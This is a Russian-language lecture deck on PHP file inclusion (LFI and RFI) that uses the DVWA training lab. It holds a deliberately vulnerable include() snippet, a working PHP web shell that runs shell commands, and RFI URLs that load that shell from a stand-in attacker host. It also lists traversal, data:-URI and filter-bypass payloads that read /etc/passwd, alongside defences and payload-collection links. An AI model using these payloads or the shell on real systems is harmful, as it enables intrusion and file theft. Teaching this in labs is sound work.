WebSecurity
Часть 6
File inclusion
File inclusion
File Inclusion делится на две основные ветви - Remote File Inclusion (RFI) Local File Inclusion (LFI).
Основосоставляющая у них одна, это недостаточная фильтрация переменной, которая используется в функциях отвечающих за подключения файлов (например функции include(), require()). В Remote File Inclusion в настройках PHP включены allow_url_fopen и allow_url_include, а Local File Inclusion это присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.
Remote File Inclusion
Это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:
php.ini
allow_url_fopen = On
allow_url_include = On
Local File Inclusion
Local File Inclusion - это подключение произвольного файла расположенного на локальном (атакуемом) сервере в работу уязвимого.
Open Web Application Security Project
- A1 Внедрение кода
- A2 Некорректная аутентификация и управление сессией
- A3 Межсайтовый скриптинг
- A4 Нарушение контроля доступа
- A5 Небезопасная конфигурация
- A6 Утечка чувствительных данных
- A7 Недостаточная защита от атак (NEW)
- A8 Подделка межсайтовых запросов
- A9 Использование компонентов с известными уязвимостями
- A10 Незащищенный API (NEW)
Рейтинг наиболее популярных атак
Стоимость ошибки
Стоимость ошибки
Пример
# Уязвимый сайт
<?php
$file = $_GET['page']; //The page we wish to display
include($file);
?>
LFI
http://127.0.0.1/vulnerabilities/fi/?page=/etc/passwd
RFI
http://127.0.0.1/vulnerabilities/fi/?page=http://shell.com/shell.php
# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
...
shell script (RFI)
# Сайт злоумышленника с shell-скриптом
http://hacker.ll/shell.php
<?php
$output = isset($_GET['command']) ? shell_exec($_GET['command']) : '';
echo "<pre>$output</pre>";
?>
# При вызове следующего адреса мы получим содержимое файла паролей
http://hacker.ll/shell.php?command=cat /etc/passwd
# Уязвимый сайт
http://dvwa.ll/vulnerabilities/fi/?page=file1.php
# В параметр page вместо файла сайта - подставляем наш shell-скрипт.
# Енкодируем команду для shell-скрипта (https://meyerweb.com/eric/tools/dencoder/)
http://dvwa.ll/vulnerabilities/fi/?page=http://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd
# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
LFI
# Уязвимый сайт
http://dvwa.ll/vulnerabilities/fi/?page=file1.php
# В параметр page вместо файла сайта - подставляем необходимый нам
# файл, находящийся на текущем сервере
# В результате имеем следующее
http://dvwa.ll/vulnerabilities/fi/?page=/etc/passwd
# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
Directory traversal
vs
file inclusion
В основном разница заключается в том, что с уязвимостью включения файлов ресурс загружается и выполняется в контексте текущего приложения.
Уязвимость, связанная с обращением к каталогу, дает вам возможность читать этот ресурс.
Payloads file inclusion
File Inclusion - Path Traversal/
* Basic LFI
* Basic RFI (null byte, double encoding and other tricks)
* LFI / RFI Wrappers
* LFI to RCE via /proc/*/fd
* LFI to RCE via Upload
* LFI to RCE via Phpinfo()
* LFI to RCE via input:// stream
* LFI to RCE via controlled log file
* LFI to RCE via PHP Sessions
* Checklist - Common ways of upgrading from LFI to RCE
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal
Базы
Коллекция из нескольких типов списков, используемых в процессе оценки безопасности, собранные в одном месте. Типы списков включают в себя имена пользователей, пароли, URL, чувствительные шаблоны данных, Fuzzing полезные нагрузки, веб-оболочки, и многое другое.
https://github.com/danielmiessler/SecLists
PayloadsAllTheThings
Список полезных нагрузок и обходов для анализа безопасности веб-приложений.
- Tools
- Docker
- More resources
- Book's list
- Blogs/Websites
- Youtube
- Practice
- Bug Bounty
https://github.com/swisskyrepo/PayloadsAllTheThings
PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings
AWS Amazon Bucket S3
CRLF injection
CSV injection
CVE Shellshock Heartbleed Struts2
File Inclusion - Path Traversal
Insecured source code management
LDAP injection
Methodology and Resources
NoSQL injection
OAuth
Open redirect
PHP juggling type
PHP serialization
Remote commands execution
SQL injection
SSRF injection
Server Side Template injections
Tar commands execution
Traversal directory
Upload insecure files
Web cache deception
XPATH injection
XSS injection
XXE injections
File inclusion сканеры
DVWA
# Low LFI
http://dvwa.ll/vulnerabilities/fi/?page=../../../../../etc/passwd
http://dvwa.ll/vulnerabilities/fi/?page=data:text/plaintext,%3C?php%20phpinfo%28%29;?%3E
http://dvwa.ll/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
# Low RFI
http://dvwa.ll/vulnerabilities/fi/?page=http://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd
#=====================================================
# Medium LFI
http://dvwa.ll/vulnerabilities/fi/?page=/etc/passwd
# Medium RFI
http://dvwa.ll/vulnerabilities/fi/?
page=hthttp://tp://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd
#=====================================================
# Heigh LFI (https://ru.wikipedia.org/wiki/File_(схема_URI))
http://dvwa.ll/vulnerabilities/fi/?page=file:///etc/passwd
http://dvwa.ll/vulnerabilities/fi/?
page=file1.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
Защита от File Inclusion
-
Отключение:
- allow_url_fopen = Off
- allow_url_include = Off
- Санитизация по принципу белого листа
WAF
WAF
WAF может быть реализован как облачный сервис, агент на веб-сервере или специализированное железное или виртуальное устройство. Развитие рынка WAF пока складывается так, что облачный сервис востребован в среднем и малом бизнесе, а для крупного бизнеса обычно приобретается отдельное устройство. WAF как модуль веб-сервера так и остался, по сути, в зачаточном состоянии и больше подходит для энтузиастов, чем для бизнес-задач.
WAF
Cloudflare Pricing
Где потренироваться?
- http://www.dvwa.co.uk/
- http://www.itsecgames.com/
- https://habrahabr.ru/company/pentestit/blog/261569/
- https://habrahabr.ru/company/pt/blog/138779/
Полезные ссылки
- https://hackware.ru/?p=1359
- https://ru.wikipedia.org/wiki/PHP-инъекция
- https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
- https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
- https://forum.antichat.ru/threads/vsja-pravda-o-local-remote-file-inclusion.232773/
- http://www.xakep.ru/post/49508/
- http://www.adminso.es/recursos/Proyectos/PFM/2011_12/PFM_DVWA.pdf
Вопросы?
To be continued ...
Web Security Part 6
By James Jason
Web Security Part 6
- 868